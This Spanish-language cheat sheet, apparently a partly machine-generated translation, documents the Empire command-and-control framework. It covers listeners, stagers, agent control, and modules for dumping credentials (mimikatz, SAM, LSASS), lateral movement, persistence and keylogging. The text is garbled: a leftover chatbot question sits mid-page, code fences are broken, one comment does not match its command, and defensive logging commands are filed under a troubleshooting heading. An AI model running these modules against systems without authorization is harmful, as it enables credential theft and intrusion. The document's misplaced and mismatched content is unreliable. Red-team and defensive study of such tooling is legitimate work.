Hoja de Referencia de Empire Framework¶
Descripción General¶
Empire es un framework de post-explotación que incluye un agente Windows de PowerShell 2.0 puro y un agente Linux/macOS de Python 3 puro. Proporciona una infraestructura de comando y control (C2) potente para operaciones de red team, pruebas de penetración y emulación de adversarios.
⚠️ Advertencia: Empire es una herramienta de pruebas de seguridad que solo debe usarse en entornos donde se tenga permiso explícito para hacerlo.
Instalación¶
Desde GitHub¶
# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git
# Navigate to the directory
cd Empire
# Run the installation script
sudo ./setup/install.sh
Usando Docker¶
# Pull the Docker image
docker pull bcsecurity/empire:latest
# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
En Kali Linux¶
Uso Básico¶
Iniciando Empire¶
# Start the Empire server
sudo empire
# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>
Usando Starkiller (GUI)¶
Navegación de Empire CLI¶
| Comando | Descripción |
|---|---|
help |
Mostrar menú de ayuda |
menu |
Volver al menú principal |
back |
Volver al nivel de menú anterior |
exit |
Salir del Imperio |
usemodule <module> |
Selecciona un módulo para usar |
usestager <stager> |
Selecciona un stager para usar |
uselistener <listener> |
Selecciona un listener para usar |
interact <agent> |
Interactuar con un agente |
searchmodule <term> |
Buscar módulos |
| ## Listeners |
Creando un Listener¶
# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute
Opciones Comunes de Listener¶
| Opción | Descripción |
|---|---|
Name |
Nombre para el oyente |
Host |
IP/hostname para staging |
Port |
Puerto para el oyente |
CertPath |
Ruta de certificado para HTTPS |
DefaultDelay |
Retraso de devolución de llamada de agente (en segundos) |
DefaultJitter |
Jitter en devoluciones de llamadas de agente (0.0-1.0) |
DefaultProfile |
Perfil de comunicación predeterminado |
KillDate |
Fecha para que el oyente salga (MM/DD/YYYY) |
WorkingHours |
Horas para la devolución de llamada del agente (09:00-17:00) |
| ### Gestión de Listeners | |
Stagers¶
Generando un Stager¶
Tipos Comunes de Stagers¶
| Stager | Descripción |
|---|---|
windows/launcher_bat |
Lanzador de archivo BAT |
windows/launcher_vbs |
Lanzador de script VBS |
windows/launcher_powershell |
Lanzador de PowerShell |
multi/launcher |
Lanzador multiplataforma |
osx/launcher |
Lanzador de macOS |
linux/launcher |
Lanzador de Linux |
windows/dll |
Lanzador de DLL |
windows/macro |
Lanzador de macros de Office |
windows/hta |
Lanzador de HTA |
| ## Agentes |
Comandos de Agente¶
# List all agents
agents
# Interact with an agent
interact C2AGENT123
# Get agent info
info
# Execute a shell command
shell whoami
# Run a PowerShell command
powershell Get-Process
# Upload a file
upload /path/to/local/file /path/on/target
# Download a file
download /path/on/target /local/path
# Take a screenshot
screenshot
# Exit agent menu
back
Gestión de Agentes¶
# Rename an agent
rename C2AGENT123 new_name
# Kill an agent
kill C2AGENT123
# Remove an agent from the database
remove C2AGENT123
# Set sleep interval
sleep 30
# Set jitter percentage
sysinfo
Módulos¶
Usando Módulos¶
# List available modules
usemodule
# Search for modules
searchmodule credentials
# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user
# Set module options
set Username administrator
# Execute the module
execute
Categorías Comunes de Módulos¶
Acceso a Credenciales¶
# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords
# Dump SAM database
usemodule powershell/credentials/sam
# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump
Conciencia Situacional¶
# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user
# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer
# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group
Movimiento Lateral¶
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec
# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm
Persistencia¶
# Registry persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks
# WMI persistence
usemodule powershell/persistence/elevated/wmi
Características Avanzadas¶
Perfiles C2 Moldeables¶
Would you like me to continue with the remaining sections?```
In Empire CLI¶
profiles use default set DefaultProfile /path/to/profile.profile ```### Consideraciones de OPSEC
# Set agent kill date
set KillDate 01/01/2025
# Set working hours
set WorkingHours 09:00-17:00
# Increase agent sleep time
sleep 300 30
```### Exfiltración de Datos
Use keylogging module¶
usemodule powershell/collection/keylogger
Use clipboard monitoring¶
usemodule powershell/collection/clipboard_monitor
Use screenshot module¶
usemodule powershell/collection/screenshot ```## Resolución de Problemas
Problemas Comunes¶
# Check if the listener is running
listeners
# Verify firewall settings
sudo iptables -L
# Check for port conflicts
netstat -tuln|grep <port>
```**Problemas de Conexión**
```bash
# Verify agent is running
agents
# Check for network connectivity issues
# Verify sleep/jitter settings
```
```bash
# Check module requirements
info
# Verify agent privileges
shell whoami
# Try running in a different process context
usemodule powershell/management/psinject
```**Agente No Está Registrándose**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
Medidas Defensivas¶
Métodos de Detección¶
- Registro de Bloques de Script de PowerShell
- Registro de Módulos de PowerShell
- AMSI (Antimalware Scan Interface)
- Análisis de tráfico de red
- Análisis de comportamiento
Técnicas de Prevención¶
https://github.com/BC-SECURITY/Starkiller
Recursos¶
- Repositorio de GitHub de BC Security
- [Wiki de Empire](